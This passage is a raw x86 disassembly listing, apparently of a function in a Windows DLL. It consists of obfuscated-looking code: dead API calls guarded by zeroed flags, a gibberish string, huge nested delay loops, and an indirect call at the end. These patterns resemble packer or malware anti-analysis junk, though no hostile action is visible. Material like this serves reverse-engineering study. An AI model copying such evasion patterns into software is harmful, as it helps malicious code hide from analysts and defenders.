je 0x100310c9
push 0
lea ecx, [ebp - 0x840]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x100310c9
mov dword [ebp - 0x6e0], 1
jmp 0x100310d0
and dword [ebp - 0x6e0], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x3e0]
lea ecx, [ebp - 0x854]
call fcn.1000c5cf
mov eax, dword [eax]
cmp eax, dword [ebp - 0x6e0]
je 0x100310fe
mov dword [ebp - 0x6e8], 1
jmp 0x10031105
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x134], 2
jmp 0x1003112a
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jl 0x100311d6
mov dword [ebp - 0x330], 0x2c87a752
mov dword [ebp - 0x330], 0
jmp 0x1003115a
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 2
jg 0x100311af
mov dword [ebp - 0x338], 0x9cd49fcf
mov dword [ebp - 0x338], 0
jmp 0x10031186
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 2
jg 0x100311ad
mov byte [ebp - 0xa0], 0
movzx eax, byte [ebp - 0xa0]
test eax, eax
je 0x100311ab
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowTextA]
jmp 0x10031179
jmp 0x1003114d
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x3e0]
lea ecx, [ebp - 0x854]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x100311d1
jmp 0x1003111d
jmp 0x1003111d
jmp 0x1003105f
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x3e0]
lea ecx, [ebp - 0x854]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1003120c
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x840]
call fcn.1000c5b3
jmp 0x10030ee9
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x840]
call fcn.1000c5b3
jmp 0x10030ee9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x854]
call fcn.1000c5b3
mov eax, dword [ebp - 0xa64]
mov dword [ebp - 0x89c], eax
mov dword [ebp - 0x13c], 0xb4ffb87
push 3
lea ecx, [ebp - 0x414]
call fcn.1000c530
mov dword [ebp - 4], 0x21
push 3
lea ecx, [ebp - 0xaf4]
call fcn.1000c530
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x7b0], 0xfffffff9
mov dword [ebp - 0x20], 0
jmp 0x10031284
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jge 0x1003129a
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x788], 0xfffffff8
jmp 0x1003127d
mov dword [ebp - 0x20], 0
jmp 0x100312aa
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x100312c6
push dword [ebp - 0x20]
lea ecx, [ebp - 0x414]
call fcn.1000c5cf
mov dword [eax], 0x85950cfd
jmp 0x100312a3
mov dword [ebp - 0x20], 0
jmp 0x100312d6
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x100312f2
push dword [ebp - 0x20]
lea ecx, [ebp - 0xaf4]
call fcn.1000c5cf
mov dword [eax], 0x453d1dd1
jmp 0x100312cf
mov byte [ebp - 0xb1], 0
mov dword [ebp - 0x6f0], 0x5329
mov dword [ebp - 0xa6c], str.xuaaspp_mmok_qihxrm_dyaxri_nensihiig_prl_ipfhmq_jfktfnk
cmp dword [ebp - 0x6f0], 0x53f2
jle 0x100313c5
and dword [ebp - 0x340], 0
jmp 0x10031333
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x778f
jge 0x100313c5
and dword [ebp - 0x348], 0
jmp 0x10031359
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x392f
jge 0x100313c0
and dword [ebp - 0x350], 0
jmp 0x1003137b
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x1595
jge 0x100313be
mov eax, dword [ebp - 0x340]
sub eax, dword [ebp - 0x348]
xor eax, dword [ebp - 0x350]
cdq
mov dword [ebp - 0xa18], eax
mov dword [ebp - 0xa14], edx
push dword [ebp - 0xa14]
push dword [ebp - 0xa18]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x1003136e
jmp 0x1003134c
jmp 0x10031326
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x100313d8
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x6f0], 0x500d
jge 0x100313f4
mov edx, dword [ebp - 0xa6c]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x13c], 0
jmp 0x1003140d
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jg 0x1003198f
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x3c4], 1
mov dword [ebp - 0x358], 0x25954a43
mov dword [ebp - 0xab0], 5
mov dword [ebp - 0x18], 0
jmp 0x1003144f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x1003198a
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x360], 0xfffffffc
mov dword [ebp - 0x2c], 0
jmp 0x1003147a
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jg 0x10031679
mov dword [ebp - 0xfc], 0xd2086bd0
mov dword [ebp - 0xfc], 0
jmp 0x100314a7
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jg 0x10031674
mov dword [ebp - 0x710], 0xd705
mov eax, dword [ebp - 0xfc]
cmp dword [ebp + eax*4 - 0x788], 0
jne 0x1003158d
cmp dword [ebp - 0x2c], 0
jne 0x100314e4
mov dword [ebp - 0x6f8], 1
jmp 0x100314eb
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xd80], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x710], eax
jle 0x1003150b
mov dword [ebp - 0x700], 1
jmp 0x10031512
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x6f8]
cmp eax, dword [ebp - 0x700]
jge 0x1003152c
mov dword [ebp - 0x708], 1
jmp 0x10031533
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x708], eax
jge 0x1003154a
mov dword [ebp - 0x718], 1
jmp 0x10031551
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x710]
sub eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x718]
jle 0x10031574
cmp dword [ebp - 0x2c], 0
je 0x10031574
mov dword [ebp - 0x720], 1
jmp 0x1003157b
and dword [ebp - 0x720], 0
cmp dword [ebp - 0x720], 9
je 0x1003158d
and dword [ebp - 0x728], 0
jmp 0x10031597
mov dword [ebp - 0x728], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x728], eax
jge 0x100315b1
cmp dword [ebp - 0x18], 0
jne 0x100315b1
and dword [ebp - 0x730], 0
jmp 0x100315bb
mov dword [ebp - 0x730], 1
cmp dword [ebp - 0x730], 0xffffffff
jbe 0x100315d0
mov dword [ebp - 0x738], 1
jmp 0x100315d7
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x738], eax
jl 0x100315ee
mov dword [ebp - 0x3bc], 1
jmp 0x100315f5
and dword [ebp - 0x3bc], 0
push 0
lea ecx, [ebp - 0x414]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x3bc]
mov dword [eax], ecx
cmp dword [ebp - 0x3bc], 0
jne 0x10031619
cmp dword [ebp - 0x2c], 0
je 0x1003164b
push 1
lea ecx, [ebp - 0x414]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1003164b
mov byte [ebp - 0x9b], 0
movzx eax, byte [ebp - 0x9b]
test eax, eax
je 0x10031649
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x1003166f
mov byte [ebp - 0xc9], 0
movzx eax, byte [ebp - 0xc9]
test eax, eax
je 0x10031663
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x3c4], eax
jmp 0x1003149a
jmp 0x10031473
push 0
lea ecx, [ebp - 0x414]
call fcn.1000c5cf
push 8
pop ecx
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x18]
jne 0x1003169c
mov dword [ebp - 0x740], 1
jmp 0x100316a3
and dword [ebp - 0x740], 0
push 0
lea ecx, [ebp - 0x414]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x740]
cmp ecx, dword [eax]
jl 0x100316c6
mov dword [ebp - 0xa28], 1
jmp 0x100316cd
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jle 0x100316e1
mov dword [ebp - 0x748], 1
jmp 0x100316e8
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x748]
inc eax
cmp eax, dword [ebp - 0x358]
jne 0x10031703
mov dword [ebp - 0x750], 1
jmp 0x1003170a
and dword [ebp - 0x750], 0
cmp dword [ebp - 0x750], 0
jne 0x1003171f
mov dword [ebp - 0xaa8], 1
jmp 0x10031726
and dword [ebp - 0xaa8], 0
push 0
lea ecx, [ebp - 0x414]
call fcn.1000c5cf
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xca4], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x358], eax
jge 0x10031753
mov dword [ebp - 0xa30], 1
jmp 0x1003175a
and dword [ebp - 0xa30], 0
push 0
lea ecx, [ebp - 0x414]
call fcn.1000c5cf
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xca8], eax
mov eax, dword [ebp - 0x358]
add eax, dword [ebp - 0x358]
cmp eax, dword [ebp - 0x2c]
jle 0x1003178d
mov dword [ebp - 0x758], 1
jmp 0x10031794
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp - 0x2c]
push 0
lea ecx, [ebp - 0xaf4]
call fcn.1000c5cf
cmp esi, dword [eax]
jle 0x100317bd
mov dword [ebp - 0x760], 1
jmp 0x100317c4
and dword [ebp - 0x760], 0
push 0
lea ecx, [ebp - 0xaf4]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x760]
cmp ecx, dword [eax]
jle 0x100317e7
mov dword [ebp - 0x768], 1
jmp 0x100317ee
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0x3c4]
cmp eax, dword [ebp - 0x768]
jg 0x10031814
mov dword [ebp - 0x770], 1
jmp 0x1003181b
and dword [ebp - 0x770], 0
cmp dword [ebp - 0x770], 0x1ff3
jg 0x10031833
mov dword [ebp - 0x3cc], 1
jmp 0x1003183a
and dword [ebp - 0x3cc], 0
push 0
lea ecx, [ebp - 0x414]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x3cc]
mov dword [eax], ecx
cmp dword [ebp - 0x3cc], 0x99b58ece
jbe 0x10031867
mov dword [ebp - 0x778], 1
jmp 0x1003186e
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x360]
cmp dword [ebp - 0x778], eax
je 0x10031888
mov dword [ebp - 0x780], 1
jmp 0x1003188f
and dword [ebp - 0x780], 0
cmp dword [ebp - 0x780], 0xffffffff
je 0x100318a4
mov dword [ebp - 0xb20], 1
jmp 0x100318ab
and dword [ebp - 0xb20], 0
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0xcb0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x360]
cmp dword [ebp + eax - 0x788], ecx
jg 0x100318d8
mov dword [ebp - 0x790], 1
jmp 0x100318df
and dword [ebp - 0x790], 0
cmp dword [ebp - 0x790], 0x3ffc
jg 0x100318f7
mov dword [ebp - 0xa38], 1
jmp 0x100318fe
and dword [ebp - 0xa38], 0
mov dword [ebp - 0xab0], 0xa38ad7b5
cmp dword [ebp - 0x360], 0
je 0x1003192f
push 0
lea ecx, [ebp - 0xaf4]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1003192f
mov dword [ebp - 0x798], 1
jmp 0x10031936
and dword [ebp - 0x798], 0
imul eax, dword [ebp - 0x18], 0xac8e
cmp eax, dword [ebp - 0x798]
jle 0x10031951
mov dword [ebp - 0x7a0], 1
jmp 0x10031958
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0x360]
cmp dword [ebp - 0x7a0], eax
jne 0x10031972
mov dword [ebp - 0x7a8], 1
jmp 0x10031979
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x7a8]
mov dword [ebp - 0x7b0], eax
jmp 0x10031448
jmp 0x10031400
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xaf4]
call fcn.1000c5b3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x414]
call fcn.1000c5b3
push dword [ebp - 0x89c]
push dword [ebp - 0x8a0]
call dword [0x10074008]
mov dword [ebp - 0x8a8], eax
mov eax, dword [ebp - 0x8a8]
jmp 0x10031b1a
mov dword [ebp - 0x370], 0x7632667a
mov dword [ebp - 0x368], 0
jmp 0x100319f3
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 4
jge 0x10031a0f
mov eax, dword [ebp - 0x368]
mov dword [ebp + eax*4 - 0xe74], 0xdf99
jmp 0x100319e6
mov dword [ebp - 0x370], 3
jmp 0x10031a28
mov eax, dword [ebp - 0x370]
dec eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0
jl 0x10031b18
push 1
lea ecx, [ebp - 0x860]
call fcn.1000c530
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x194], 0
jmp 0x10031a62
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 1
jge 0x10031a84
push dword [ebp - 0x194]
lea ecx, [ebp - 0x860]
call fcn.1000c5cf
mov dword [eax], 0x6a485bf2
jmp 0x10031a55
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x10031aa0
push 0
push 0
call dword [sym.imp.USER32.dll_ScreenToClient]
push 0
lea ecx, [ebp - 0x860]
call fcn.1000c5cf
and dword [eax], 0
jmp 0x10031ad6
push 0
lea ecx, [ebp - 0x860]
call fcn.1000c5cf
mov dword [ebp - 0x7b8], eax
mov eax, dword [ebp - 0x7b8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x7b8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x860]
call fcn.1000c5cf
cmp dword [eax], 4
jge 0x10031b04
push 0
lea ecx, [ebp - 0x860]
call fcn.1000c5cf
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0xe74], 0x543b
jmp 0x10031ab2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x860]
call fcn.1000c5b3
jmp 0x10031a1b
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret